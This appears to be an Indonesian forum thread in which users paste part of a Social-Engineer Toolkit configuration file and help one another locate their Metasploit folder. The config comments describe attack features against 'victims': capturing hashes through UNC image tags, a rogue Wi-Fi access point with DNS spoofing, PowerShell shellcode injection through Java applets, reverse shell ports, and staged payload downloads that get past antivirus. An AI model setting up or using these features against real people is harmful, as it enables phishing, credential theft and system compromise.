# THIS FEATURE WILL AUTO EMBED A IMG SRC TAG TO A UNC PATH OF YOUR ATTACK MACHINE.
# USEFUL IF YOU WANT TO INTERCEPT THE HALF LM KEYS WITH RAINBOWTABLES. WHAT WILL HAPPEN
# IS AS SOON AS THE VICTIM CLICKS THE WEB-PAGE LINK, A UNC PATH WILL BE INITIATED
# AND THE METASPLOIT CAPTURE/SMB MODULE WILL INTERCEPT THE HASH VALUES.
UNC_EMBED=OFF
#
# THIS FEATURE WILL ATTEMPT TO TURN CREATE A ROGUE ACCESS POINT AND REDIRECT VICTIMS BACK TO THE
# SET WEB SERVER WHEN ASSOCIATED. AIRBASE-NG and DNSSPOOF.
ACCESS_POINT_SSID=linksys
AIRBASE_NG_PATH=/usr/local/sbin/airbase-ng
DNSSPOOF_PATH=/usr/local/sbin/dnsspoof
#
# THIS WILL CONFIGURE THE DEFAULT CHANNEL THAT THE WIRELESS ACCESS POINT ATTACK BROADCASTS ON THROUGH WIFI
# COMMUNICATIONS.
AP_CHANNEL=9
#
# THIS WILL ENABLE THE POWERSHELL SHELLCODE INJECTION TECHNIQUE WITH EACH JAVA APPLET. IT WILL BE USED AS
# A SECOND FORM IN CASE THE FIRST METHOD FAILS. PLEASE NOTE THAT THIS IS EXTREMELY EXPERIMENTAL AT THIS
# POINT. IT IS NOT 100 PERCENT WORKING YET.
POWERSHELL_INJECTION=ON
#
# THIS WILL DISPLAY THE OUTPUT OF THE POWERSHELL INJECTION ATTACK SO YOU CAN SEE WHAT IS BEING PLACED ON THE
# SYSTEM.
POWERSHELL_VERBOSE=OFF
#
# THIS WILL PROFILE THE VICTIM MACHINE AND CHECK FOR INSTALLED VERSIONS AND REPORT BACK ON THEM
# NOTE THIS IS CURRENTLY DISABLED. DEVELOPMENT IS UNDERWAY ON THIS FEATURE
WEB_PROFILER=OFF
#
# PORT NUMBERS FOR THE JAVA APPLET ATTACK LINUX/OSX ATTACKS, REVERSE PAYLOADS
OSX_REVERSE_PORT=8080
#
LINUX_REVERSE_PORT=8081
#
#
# USER AGENT STRING FOR WHEN USING ANYTHING THAT CLONES THE WEBSITE, THIS USER AGENT WILL BE USED
USER_AGENT_STRING=Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)
#
# THE WAY THE SET INTERACTIVE SHELL WORKS IS IT FIRST DEPLOYS A STAGER PAYLOAD THAT PULLS AN ADDITIONAL EXECUTABLE.
# THE DOWNLOADER IS CURRENTLY BEING PICKED UP BY A/V AND IS ACTUALLY SOMEWHAT HARD TO OBFSUCATE BECAUSE IT DOES
# SIMILAR CHARACTERISTICS OF A DOWNLOAD/EXEC. IF YOU TURN THIS FEATURE ON, SET WILL DOWNLOAD THE INTERACTIVE SHELL
# STRAIGHT WITHOUT USING THE STAGER. ONLY ISSUE WITH THIS IS THERE MAY BE A DELAY ON THE USER END HOWEVER STILL
# SHOULDN'T BE NOTICED
SET_SHELL_STAGER=OFF
#
# DISABLES AUTOMATIC LISTENER - TURN THIS OFF IF YOU DON'T WANT A METASPLOIT LISTENER IN THE BACKGROUND.
AUTOMATIC_LISTENER=ON
#
# THIS WILL DISABLE THE FUNCTIONALITY IF METASPLOIT IS NOT INSTALLED AND YOU JUST WANT TO USE SETOOLKIT OR RATTE FOR PAYLOADS
# OR THE OTHER ATTACK VECTORS.
METASPLOIT_MODE=ON
#
####################################################################################################

yang saya kasih tanda itu yg diedit dengan lokasi folder metasploit nya
untuk set_config bisa di cari menggunakan locate set_config :p

crny om gmn maklum pengguna baru

[ekawithoutyou]

semua disini pengguna baru bro
cari folder metasploitnya dengan

Code:

locate mestasploit

nah kalo udah hasilnya copas dimari :S

[Udalah$]

semua disini pengguna baru bro
cari folder metasploitnya dengan

Code:

locate mestasploit

nah kalo udah hasilnya copas dimari :S

om eka turun tangan, wkwkwk

iya ni tampilin hasilnya dimari, biar bisa di acak2 metsploitnya hehe

[ekawithoutyou]

semua disini pengguna baru bro
cari folder metasploitnya dengan

Code:

locate mestasploit

nah kalo udah hasilnya copas dimari :S

om eka turun tangan, wkwkwk

iya ni tampilin hasilnya dimari, biar bisa di acak2 metsploitnya hehe

:S ia om